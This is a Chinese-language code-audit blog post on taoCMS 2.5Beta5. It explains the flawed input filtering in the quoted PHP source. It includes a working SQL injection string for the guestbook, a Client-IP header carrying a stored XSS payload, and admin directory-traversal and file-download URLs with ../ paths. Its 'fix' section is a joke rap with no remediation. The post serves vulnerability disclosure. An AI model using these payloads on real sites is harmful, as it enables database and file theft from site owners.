代码审计:TaoCms SQL注入及修复 |

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

版本:taoCMS2.5Beta5
 
在中include/common.php中:
30 if(!function_exists(‘get_magic_quotes_gpc’) || get_magic_quotes_gpc())
31 {
32 $_GET = Base::magic2word( $_GET );
33 $_POST = Base::magic2word( $_POST );
34 $_COOKIE = Base::magic2word( $_COOKIE );
35 }
 
magic2word在include/Model/Base.php中定义:
230 static function magic2word($text){
231 if (is_array($text)) {
232 foreach($text as $k=>$v){
233 $text[$k]=self::magic2word($v);
234 }
235 }else{
236 $text=stripslashes($text);
237 }
238 return $text;
239 }
 
总体就是一开始就去除魔术引号
 
然后在:
123 static function safeword($text,$level=8){
124 if(is_array($text))
125 {
126 foreach( $text as $key=>$value){
127 $safeword[$key]=self::safeword($value);
128 }
129 }
130 else
131 {
132 switch ($level)
133 {
134 case 0:
135 if (get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
136 $safeword = stripcslashes($text);
137 }else{
138 $safeword=$text;
139 }
140 break;
141 case 1:
142 $safeword=intval($text);
143 break;
144 case 3:
145 $safeword=strip_tags($text);
146 break;
147 case 5:
148 $safeword=nl2br(htmlspecialchars($text));
149 break;
150 case 6:
151 $safeword=str_replace(“‘”,””,addslashes($text));
152 $safeword=str_replace(“select”,””,$safeword);
153 $safeword=str_replace(“union”,””,$safeword);
154 $safeword=str_replace(“=”,””,$safeword);
155 break;
156 default:
157 if(ucfirst(DB)==’Sqlite’){
158 $safeword=str_replace(“‘”,”””,$text);
159 }
160 else{
161 $safeword=Base::_addslashs($text);
162 }
163 break;
164
165 }
166 }
167 return $safeword;
168 }
169 static function _addslashs($text){
170 if (!get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
171 $text = addslashes($text);
172 }
173 return $text;
174
175 }
 
 
神逻辑,一开始就去掉魔术引号,后面为啥还在_addslashs判断它是否使用了gpc,直接去掉if得了….
当gpc开启,数据库为mysql,利用safeword来过滤注入语句就形同虚设了,所以差不多就是只要找到任意一个字符型的参数,就可以注入了,例如在留言处:姓名输入a’,’b’,(select @@version),’c’,’123′),(’26’,’c 同理内容处也可以注入…
 
结果如图:
 
 
 
另外一枚注入:
在include/Model/Base.php中:
34 static function realip(){
35 if(getenv(‘HTTP_CLIENT_IP’)){
36 $ip=getenv(‘HTTP_CLIENT_IP’);
37 }elseif(getenv(‘HTTP_X_FORWARDED_FOR’)){
38 $ip=getenv(‘HTTP_X_FORWARDED_FOR’);
39 }elseif(getenv(‘REMOTE_ADDR’)){
40 $ip=getenv(‘REMOTE_ADDR’);
41 }else{
42 $ip=$HTTP_SERVER_VARS[‘REMOTE_ADDR’];
43 }
44 return $ip;
45 }
 
有两个地方调用了realip,挑简单的讲
在wap/index.php中调用了realip:
 
25 if($mobile){
26 if($name==”||$comment==”)die(‘Please input your name and comment correctly!<a href=”?id=’.$article_id.'”>Back</a>’);
27 $tmp[‘article_id’]=$article_id;
28 $tmp[‘name’]=Base::safeword($name,4);
29 $tmp[’emails’]=’[email protected]’;
30 $tmp[‘content’]=Base::safeword($comment,5);
31 $tmp[‘ips’]=Base::realip();
32 $tmp[‘times’]=Base::getnowtime();
33 $data[‘status’]=1;
34 $addstatus=$dbit->add_one(TB.”comment”,$tmp);
35 $dbit->updatelist(TB.”cms”,”cmtcount=cmtcount+1″,$tmp[‘article_id’]);
36 die(‘^_^Submit Succefully!<a href=”?id=’.$article_id.'”>GO ON!</a>’);
37
 
 
最后$tmp[‘ips’]完全没过滤的进入了sql语句
这个$tmp[‘ips’]还可xss到后台哦
 
POST /taocms/wap/?id=26 HTTP/1.1
Host: 192.168.100.100
Client-ip: <script>alert(1)</script>
 
 
 
后台漏洞一堆:
目录遍历:admin/admin.php?action=file&ctrl=lists&path=../…/
任意文件下载:admin/admin.php?action=file&ctrl=download&path=../../../../test.txt
后台get shell就是直接编辑文件。。。。
吐槽一下添加人员那里:
能添加相同名字的人员,比如再添加一个admin,然后在登陆处只检索了一行,就直接导致另外一个同名人员无法登陆…..什么逻辑啊!!!
 
44 public function checkUser(){
45 $this->db=new Dbclass(SYS_ROOT.DB_NAME);
46 $user=$this->db->get_one(TB.”admin”,”name='”.Base::safeword($_POST[‘name’],6).”‘”);
47 if( strlen($user[‘passwd’])==30){
48 $autoOk=substr(md5($_POST[‘pwd’]),0,30)==$user[‘passwd’];
49 }else{
50 $autoOk=$_POST[‘pwd’]==$user[‘passwd’];
51 }
 
 
还有能否给添加的用户名设置maxlen,我用了admin(空格数>30)hello,就被mysql截断了。。。要是能前台注册用户,你就悲剧了。
 
..真不爽,最好玩的__autoload的被kobin97大牛先找到了
 
修复方案:
药药!切克闹!煎饼果子来一套!一个鸡蛋一块钱!喜欢脆的多放面!辣椒腐乳小葱花!铁板铁铲小木刷!药药!切克闹!放点面酱些许甜!趁热吃了似神仙!艾瑞巴蒂!黑喂够!跟我一起来一套!动词大慈动词!我说煎饼你说要!“煎饼”“要”“煎饼”“要”切克闹切克闹!金黄喷香好味道!
 
作者:yy520

Tags:

TaoCms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:TaoCms SQL注入及修复 |